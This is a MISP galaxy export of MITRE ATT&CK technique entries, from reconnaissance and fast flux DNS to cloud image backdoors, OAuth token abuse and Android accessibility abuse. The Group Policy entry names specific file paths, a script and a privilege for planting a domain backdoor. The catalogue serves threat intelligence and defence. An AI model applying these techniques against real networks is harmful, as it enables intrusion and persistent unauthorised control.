Conduct passive scanning - T1253

Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct passive scanning - T1253"

Table 2453. Table References
Links
https://attack.mitre.org/techniques/T1253

Fast Flux DNS - T1325

A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)

The tag is: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1325"

Table 2454. Table References
Links
https://attack.mitre.org/techniques/T1325

Domain registration hijacking - T1326

Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)

The tag is: misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326"

Table 2455. Table References
Links
https://attack.mitre.org/techniques/T1326

Mine social media - T1273

An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Mine social media - T1273"

Table 2456. Table References
Links
https://attack.mitre.org/techniques/T1273

Buy domain name - T1328

Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)

The tag is: misp-galaxy:mitre-attack-pattern="Buy domain name - T1328"

Table 2457. Table References
Links
https://attack.mitre.org/techniques/T1328

Identify business relationships - T1283

Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)

The tag is: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283"

Identify business relationships - T1283 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"

Table 2458. Table References
Links
https://attack.mitre.org/techniques/T1283

Fake Developer Accounts - T1442

An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Fake Developer Accounts - T1442"

Fake Developer Accounts - T1442 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 2459. Table References
Links
https://attack.mitre.org/techniques/T1442

Conduct active scanning - T1254

Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct active scanning - T1254"

Table 2460. Table References
Links
https://attack.mitre.org/techniques/T1254

System Information Discovery - T1426

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.

On Android, much of this information is programmatically accessible to applications through the android.os.Build class(Citation: Android-Build).

On iOS, techniques exist for applications to programmatically access this information(Citation: StackOverflow-iOSVersion).

The tag is: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"

Table 2461. Table References
Links
https://attack.mitre.org/techniques/T1426
https://developer.android.com/reference/android/os/Build
http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on

Identify supply chains - T1246

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)

The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246"

Identify supply chains - T1246 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"

Table 2462. Table References
Links
https://attack.mitre.org/techniques/T1246

Domain Trust Discovery - T1482

Adversaries may attempt to gather information on domain trust relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

The tag is: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"

Table 2463. Table References
Links
https://attack.mitre.org/techniques/T1482
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
https://adsecurity.org/?p=1588
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ]
https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/
https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships

Exploit Enterprise Resources - T1428

Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

The tag is: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428"

Table 2464. Table References
Links
https://attack.mitre.org/techniques/T1428
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html

Conduct social engineering - T1249

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249"

Conduct social engineering - T1249 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"

Table 2465. Table References
Links
https://attack.mitre.org/techniques/T1249

Stored Data Manipulation - T1492

Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492"

Table 2466. Table References
Links
https://attack.mitre.org/techniques/T1492
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Implant Container Image - T1525

Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud)

The tag is: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525"

Table 2467. Table References
Links
https://attack.mitre.org/techniques/T1525
https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/
https://github.com/RhinoSecurityLabs/ccat
https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud

Cloud Service Discovery - T1526

An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ depending on if it’s platform-as-a-service (PaaS), infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many different services exist throughout the various cloud providers and can include continuous integration and continuous delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment.

Pacu, an open source AWS exploitation framework, supports several methods for discovering cloud services.(Citation: GitHub Pacu)

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"

Table 2468. Table References
Links
https://attack.mitre.org/techniques/T1526
https://github.com/RhinoSecurityLabs/pacu

Identify supply chains - T1265

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265"

Identify supply chains - T1265 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"

Table 2469. Table References
Links
https://attack.mitre.org/techniques/T1265

Application Access Token - T1527

Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527"

Table 2470. Table References
Links
https://attack.mitre.org/techniques/T1527
https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis
https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/

Determine firmware version - T1258

Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)

The tag is: misp-galaxy:mitre-attack-pattern="Determine firmware version - T1258"

Table 2471. Table References
Links
https://attack.mitre.org/techniques/T1258

Identify supply chains - T1276

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276"

Identify supply chains - T1276 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"

Table 2472. Table References
Links
https://attack.mitre.org/techniques/T1276

Conduct social engineering - T1268

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268"

Conduct social engineering - T1268 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"

Table 2473. Table References
Links
https://attack.mitre.org/techniques/T1268

Assess targeting options - T1296

An adversary may assess a target’s operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)

The tag is: misp-galaxy:mitre-attack-pattern="Assess targeting options - T1296"

Table 2474. Table References
Links
https://attack.mitre.org/techniques/T1296

Analyze data collected - T1287

An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze data collected - T1287"

Table 2475. Table References
Links
https://attack.mitre.org/techniques/T1287

Conduct social engineering - T1279

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279"

Conduct social engineering - T1279 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"

Table 2476. Table References
Links
https://attack.mitre.org/techniques/T1279

Access Call Log - T1433

On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.

On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.

The tag is: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433"

Table 2477. Table References
Links
https://attack.mitre.org/techniques/T1433
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Create backup infrastructure - T1339

Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)

The tag is: misp-galaxy:mitre-attack-pattern="Create backup infrastructure - T1339"

Table 2478. Table References
Links
https://attack.mitre.org/techniques/T1339

Remotely Install Application - T1443

An adversary with control of a target’s Google account can use the Google Play Store’s remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.

Platforms: Android

The tag is: misp-galaxy:mitre-attack-pattern="Remotely Install Application - T1443"

Remotely Install Application - T1443 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 2479. Table References
Links
https://attack.mitre.org/techniques/T1443

Abuse Accessibility Features - T1453

This technique has been deprecated by [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411).

A malicious app could abuse Android’s accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)

Adversaries may abuse accessibility features on Android to emulate a user’s clicks, for example to steal money from a user’s bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)

Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)

The tag is: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453"

Table 2480. Table References
Links
https://attack.mitre.org/techniques/T1453
https://www.skycure.com/blog/accessibility-clickjacking/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/
https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/

Access Calendar Entries - T1435

An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.

The tag is: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435"

Table 2481. Table References
Links
https://attack.mitre.org/techniques/T1435
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Create custom payloads - T1345

A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345"

Table 2482. Table References
Links
https://attack.mitre.org/techniques/T1345

Manipulate Device Communication - T1463

If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).

The tag is: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463"

Table 2483. Table References
Links
https://attack.mitre.org/techniques/T1463
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html

Commonly Used Port - T1436

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.

They may use commonly open ports such as

TCP:80 (HTTP)
TCP:443 (HTTPS)
TCP:25 (SMTP)
TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

The tag is: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436"

Table 2484. Table References
Links
https://attack.mitre.org/techniques/T1436

Domain Generation Algorithms - T1483

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483"

Table 2485. Table References
Links
https://attack.mitre.org/techniques/T1483
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
http://csis.pace.edu/_{ctappert/srd2017/2017PDF/d4.pdf[http://csis.pace.edu/}ctappert/srd2017/2017PDF/d4.pdf]
https://arxiv.org/pdf/1611.00791.pdf

Alternate Network Mediums - T1438

Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.

The tag is: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438"

Table 2486. Table References
Links
https://attack.mitre.org/techniques/T1438
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html

Transmitted Data Manipulation - T1493

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493"

Table 2487. Table References
Links
https://attack.mitre.org/techniques/T1493
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Revert Cloud Instance - T1536

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1536"

Table 2488. Table References
Links
https://attack.mitre.org/techniques/T1536
https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots

Test callback functionality - T1356

Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)

The tag is: misp-galaxy:mitre-attack-pattern="Test callback functionality - T1356"

Table 2489. Table References
Links
https://attack.mitre.org/techniques/T1356

Cloud Service Dashboard - T1538

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"

Table 2490. Table References
Links
https://attack.mitre.org/techniques/T1538
https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html

Disseminate removable media - T1379

Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

The tag is: misp-galaxy:mitre-attack-pattern="Disseminate removable media - T1379"

Table 2491. Table References
Links
https://attack.mitre.org/techniques/T1379

Spearphishing for Information - T1397

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn’t leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing for Information - T1397"

Table 2492. Table References
Links
https://attack.mitre.org/techniques/T1397

Malicious SMS Message - T1454

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).

An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.

As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"

Table 2493. Table References
Links
https://attack.mitre.org/techniques/T1454

Supply Chain Compromise - T1474

As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.

Related PRE-ATT&CK techniques include:

[Identify vulnerabilities in third-party software libraries](https://attack.mitre.org/techniques/T1389) - Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).
[Distribute malicious software development tools](https://attack.mitre.org/techniques/T1394) - As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

The tag is: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474"

Table 2494. Table References
Links
https://attack.mitre.org/techniques/T1474
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html
https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/
http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/

Delete Device Data - T1447

An adversary could wipe the entire device contents or delete specific files. A malicious application could obtain and abuse Android device administrator access to wipe the entire device.(Citation: Android DevicePolicyManager 2019) Access to external storage directories or escalated privileges could be used to delete individual files.

The tag is: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447"

Table 2495. Table References
Links
https://attack.mitre.org/techniques/T1447
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html

Group Policy Modification - T1484

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.

Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\<DOMAIN>\SYSVOL<DOMAIN>\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code><GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code><GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

The tag is: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484"

Table 2496. Table References
Links
https://attack.mitre.org/techniques/T1484
https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
https://adsecurity.org/?p=2716
https://wald0.com/?p=179
